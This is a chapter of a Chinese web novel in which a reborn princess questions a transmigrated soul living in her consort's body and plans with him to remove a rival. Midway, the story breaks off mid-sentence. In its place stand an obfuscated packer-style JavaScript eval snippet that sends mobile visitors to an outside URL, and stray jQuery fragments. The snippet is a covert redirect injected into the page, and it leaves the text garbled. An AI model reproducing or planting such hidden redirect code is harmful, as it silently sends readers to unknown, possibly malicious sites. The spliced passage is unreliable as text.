跪在地上的男人直视着她,商景徽看着这张再熟悉不过脸,却是意料之外的平静。
眼前这个人的神情太不同了,是秦简一辈子都不可能露出的模样,连同整个人的风采,也变了样。
商景徽看了他半天,对方以为她要问话,公主却抬手先摘下了头冠,轻轻地放在了一边。
长发如墨瀑,散落在肩头,衬得年轻的容颜更加瑰丽。
“你说你不是秦简,如何作证?”公主问道。
“我无法作证。”对方如实答。
商景徽偏头哂笑一声,而后勾了勾手,道:“你上前来。”
对方笑了,快速上前,来到了距离商景徽一步之遥处。
商景徽倾身向前,终于问了:“你是谁?”
“我本名秦处安,二十九岁,灵魂来自另一个世界。秦简落水后,再醒来的,就是我了。”
商景徽听着对方的介绍,略微思索了一会儿,才问:“那你现在这个身体里有几个灵魂?”
秦处安很爽快地答:“只有我一个。”
商景徽又确认了一遍,问:“你能确定吗?”
秦处安:“我保证。”
商景徽看着秦处安,对方丝毫不慌张地直视着她,甚至还对着她笑了笑。
半晌,商景徽才回身坐直,道:“你先起来吧。”
秦处安并没有着急起身,反而探身问道:“公主殿下这是相信我了吗?”
商景徽也没有立刻回答,而是思量了一会儿,才淡淡说:“相信你的话。”
秦处安“哦”了一声,重复了一句“相信我的话”。
商景徽看着他,突然问:“我要是说不信,你难道还能跪着不起来吗?”
“当然不会,”秦处安立刻践行了自己的话,一骨碌从地上爬起来,拍了拍并没有沾上灰的衣摆,继续说,“我可不是犟种。”
商景徽安静地看着秦处安坐到一旁的小圆凳上,他探身看了看桌子上的糕点,才想起什么似的,转头问她:“你饿了吗?”
“不饿。”商景徽仍在观察他。
秦处安却说:“一天没吃东西了吧,怎么可能不饿?公主殿下,要不差人出去买些吃食?”
商景徽:“你自己出去吃也可。”
秦处安靠在椅背上,慵懒地说:“不去,刚才被他们灌了那么多酒,我可去不动了。”
他话音刚落,门外便传来了敲门声,一名侍卫说:“驸马,您要的东西买来了。”
秦处安打开门,将食盒接过来,拎到房里,又将里面的饭菜端出来摆在桌子上,侍女送进来两幅碗筷,随后退下。
商景徽看着一气呵成的一切,凉凉地问:“你都安排好了,还问我作甚?”
秦处安吃了一口蒸饺,答非所问:“公主殿下不拘小节,先吃饭呗。”
商景徽也不矫情,走到桌边坐下,两个人没叫人侍奉,安安静静吃了一顿饭。
饭毕,侍从们撤下碗筷,屋里又只剩商景徽和秦处安两个人。
商景徽已经卸了妆,倚靠在梳妆台边上,问:“你说你来自另一个世界,那么,你对这个世界了解多少?”
“完全了解,但不熟悉。”秦处安想了想,又解释道,“或者说,我对秦简的一切都比较了解。”
商景徽蹙起眉,见对方还有继续往下说的意思,于是便没有开口问。
秦处安补充道:“我还知道你重生了。”
“不过这个不属于我前面所说的‘了解’范畴,这个是我猜出来的。”
商景徽闻言不解,眼中映着烛光,示意对方继续说。
秦处安撑着头,脸有些红,许是喝得多了些,但说话的语气倒不似酒后言语:“我现在要说一件很离奇的事,或许会令你无法接受。”
商景徽很是通情达理地说:“重生本就离奇。”
“我们现在所在的世界,原是一本小说,”他顿了顿,换了一种歧义较小的说法,“或者说话本,传奇之类的,我在原来的世界去世了,意外穿越过来的。”
商景徽平静地说:“所以我们是戏中人。”
“不愧是公主殿下,接受能力蛮好的啊。”秦处安感叹一句,又继续说:“说是‘我们’,也不太贴切,应该说,你们,包括秦简,是书中的角色,而我,是意外成为了戏中人。”
商景徽点了点头,表示对他这番咬文嚼字的理解。
“这本小说的内容,讲的是秦简的半生。”秦处安道,“就是你前世所经历并了解的那些,不过是秦简视角的。”
商景徽:“所以你看过这个话本,了解了他的一切,又意外成为了他?”
“我可不想成为他,”秦处安打了个寒战,神色恹恹,“我只是一个暂住在他身体里的孤魂野鬼罢了。”
商景徽看着秦处安,对方似乎并不喜欢秦简,也不愿待在这里。
这倒是不难理解,倘若眼前这位不曾说谎,也不曾作戏的话,观察他的言谈举止,秦处安的家乡应该与这里全然不同。
谁想待在一个完全陌生的地方呢?
但商景徽并不在意秦处安心情如何,她只在乎真相,于是问道:“那么你是在寻法子回家么?”
秦处安怔愣了一瞬,而后考虑了半刻,才含糊其辞地说:“回不回去,已经无所谓了,我现在就是,随遇而安喽。”
“呵,”商景徽冷哼一声,一步步靠近秦处安,后者直起身子,耳边却划过一道风声,侧眸看去,桌子上赫然扎着一把匕首。
“想随遇而安?你这个身份,做得到吗?”商景徽语气很冷,问他。
秦处安瞟了一眼耳边落下的刀,又看向商景徽,换了一幅讨好的笑颜,很识时务但不太情愿地承认:“不……能……”
“卢清婉,”商景徽拔出匕首,收回鞘内,吐出了这个名字,说,“她也是重生回来的,知道你的身份。”
“所以,皇子殿下,”商景徽毫不掩饰话里的讽刺,“你随时都有可能小命不保。”
“什么?!”秦处安跳起来,又发觉自己声音大了,随即矮了音调,道:“你们重生是有什么团购活动吗?怎么概率这么高?”
商景徽漫不经心地把玩着匕首,陈述自己的目的:“所以,我们必须除掉她。反正父皇不会对我怎
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383549|184171||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
样,但是你,秦处安,作为秦简,你和她必定会有一个人先摔下去。”
“公主殿下啊,”秦处安接过商景徽手中的刀,说,“这是要将在下收为您的刀吗?”
商景徽笑了:“你没有选择。”
“殿下,你重生后,可真够果决的。”秦处安道。
两个人坐在桌边,各具一角。
商景徽抿了一口酒,回道:“你也很聪明啊,毫不逊色于秦简。”
秦处安转着酒樽,笑问:“何解?”
商景徽放下杯盏,支着头,说:“这么容易就猜出我重生了,还不算聪明吗?”
“并不,”秦处安依旧带着笑意,如实说,“我只是拥有了全知视角,所以知道,只有你重生了,才会想到先对秦简下手。”
“况且,整个云阳城里,还有谁敢对风头正盛的探花郎下手?”
“我对他们说,是我自己跌入水中的,你最先想到的可能,不也是秦简重生了吗?”
“你对他,还真是足够了解。”
这个人或许真的不是秦简,这个人话太多了,商景徽暗自想。
不过倒不招人烦,商景徽又想。
也是个可用的棋子。
“你先别睡。”商景徽见秦处安支着头,已经昏昏沉沉要闭上了眼睛,喊了他一声。
秦处安清醒地挺快,抬头间,眼神已经恢复了清明,问:“怎么?”
“总该让你见见,”商景徽笑意不达眼底,对着外面喊了一声。
兰若闻声进来,商景徽吩咐:“传卫愈。”
听到这个名字时,秦处安像是很感兴趣地挑了挑眉,商景徽看他神色,自然明白,这是有所了解的。正好,少费一番口舌。
秦处安当然知道,这个卫愈,在原书中,是秦简的人。
探花郎于三月三十去往迎嘉宴的路上,遇到了卫愈。彼时的卫愈,师父被吴氏公子打死,受了探花郎秦简的接济,后来便成了秦简身边极为得力的侍卫,甚至在她和秦简成婚后,成了公主府首领侍卫之一。
商景徽对卫愈印象很深,此人忠诚无二。上一世,秦简南下赈灾失踪后,卫愈回来,在公主府守了三年,后来意外丧命。
那时商景徽不知其中缘由,直到得知秦简是南衡新帝,公主才后知后觉,卫愈在那位豺狼驸马逃回南衡后,守在公主府,只是为了继续探听北靖情报,至于意外丧命,也是为保全秦简的自我了结。
卫愈进门后,直接单膝跪在了商景徽身边,一直低着头。
商景徽啜了一口茶,才缓缓开口,道:“卫愈,你该抬头看看,认不认得这位?”
卫愈抬头看了一眼身着红袍,斜靠在椅子里的男人,矜贵慵懒,看向他的目光似乎不带任何情绪。
卫愈恭敬而疏离地唤了一声:“驸马爷。”
商景徽在一旁说:“就是他,那日在迎嘉湖上,给你下药,引你去湖边,又给了你一棒,还将你推下水。”
卫愈听着如此详细的描述,抬头错愕的看向公主。
商景徽无视了他的目光,反而转向秦处安,问:“驸马,你说怎么处理?”